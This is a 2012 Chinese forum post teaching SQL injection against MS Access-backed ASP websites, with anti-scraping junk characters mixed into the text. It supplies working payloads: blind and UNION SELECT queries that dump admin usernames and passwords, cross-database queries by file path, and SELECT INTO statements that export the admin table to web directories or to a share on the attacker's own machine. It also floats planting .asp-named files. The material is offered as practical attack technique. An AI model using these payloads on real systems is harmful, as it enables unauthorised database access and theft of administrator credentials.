找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1984|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------
+ \. U8 V( Q1 l) {9 V2 eunion查询法
& v+ a( H! x: h- Y2 ~/ u首先要说的就是查询办法,一般的查询办法就是3 `( d5 r# ?& Z3 n+ d2 L

" Q8 O; c! D) X程序代码: C1 M" x  O: n5 q- `. D
and 1=(select count(*) from admin where left(id,1)='1'), Q- a! k4 m, ]. ~7 K

7 i$ E9 F' C1 G4 K这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.
# A! Z' x4 @1 W( }0 z" u所以这个时候,union select横空出现.别以为只能在PHP里用哦...
* x7 h0 ~" z1 j- H- b+ ~譬如你有一个ACCESS点:/ j) G0 g9 O) s; h4 o1 p- ~/ X9 N
程序代码
+ C8 Q( c, |. L, Thttp://bbs.tian6.com/xiaoyang.asp?coder=1
) X% F/ f; d% G/ n: F; ^
. O6 y% Q- ~: |0 c. z- E知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
! l& q2 E; ?$ p& v然后我们直接来:
( D$ j- W0 z, Z" V' m, L程序代码
$ L* L# S& g$ @9 l' Z( q  Jhttp://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]! O( C* Z0 w# l3 t2 Q$ M% S
( L, {0 Y7 V% M1 j8 n
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.0 O/ i) Q0 k5 J! _& ?
' W- _: m) B- c2 V1 M9 O5 ?: W
$ u3 U% m0 B) V) E
% A4 t  r: z$ B( t  `3 E' h
---------------------------------------------------------------; X: n9 ~& u. l5 q) Z# v8 }
Access跨库查询
+ v' Z( G$ n" I4 q有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.2 B; w' B2 y% h( D  Q0 s0 C9 u1 s
跨库的查询语句:
6 F* L3 Q; q  G子查询:+ R5 N; o& I2 z- x9 j
程序代码
, v. {. v7 p/ Q. L8 |6 Fand (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>00 x1 J0 m6 W0 }

$ u5 S) p, ~  M2 T! p# j, K; wunion查询:
' c6 d3 C7 [( d( o2 \4 g) q$ ]* P/ T! t/ Y程序代码" o  T- M# Q# r  \1 p
union select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
' b. f. R4 }- C( `4 R  p8 `- F1 B) V( ^# e& d" k3 Z( V" _, l
跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:: P3 k! z2 A& Y) {1 n9 d
程序代码
% I/ ~5 F/ V" |  j* \! K1 vhttp://www.4ngel.net/article/46.htm , L! t: j0 q2 M
http://hf110.com/Article/hack/rqsl/200502/66.html
1 t. S+ k6 ^4 W+ X' J, P
  f5 o2 v9 m* J; z---------------------------------------------------------------, B/ S. x+ W7 D
Access注入,导出txt,htm,html. `6 Y, a7 ^0 u: `4 N+ m1 [9 v
子查询语句:
- l7 [+ R( H* W8 b- U* t# q/ i程序代码
( \/ S3 O3 j/ c/ A& ~. R- @Select * into [test.txt] in 'd:\web\' 'text;' from admin! |  X! C+ L8 C; {3 x; ?5 e

( X+ A/ T0 u' g- [2 ]这样就把admin表的内容以test类型存进了d:\web里面.+ V' Q5 u4 [% J2 h- c
UNION查询:" l$ o$ O1 t! r8 K% `6 ]% D
程序代码
- ^0 |' v1 L$ Q* A% y5 e; Iunion select * into [admin.txt] in 'c:\' 'test;' from admin4 r) g; ^3 f/ M

1 B' R& B: a1 t0 h6 [) H1 D$ J而且这里也可以保存到本地来:
9 ^) o1 |" v$ u$ B- L- d  d; y+ ~程序代码
4 {- E. J" z0 s6 b- M) nSelect * into [test.txt] in '\\yourip\share' 'text;' from admin
2 a' i. G  i9 ]% d+ M
+ r# W$ @1 j/ j: t: z: F8 ^' M不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:
% r5 b4 s  V, r7 v" A
9 p+ x5 t# c: h# b程序代码* ~: w# C# X/ V" Y6 T
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
: Z& Y) r. X' R- g  F1 ~4 _3 l, a6 W0 D  o7 N
因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.
- R+ x, s8 z9 V8 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表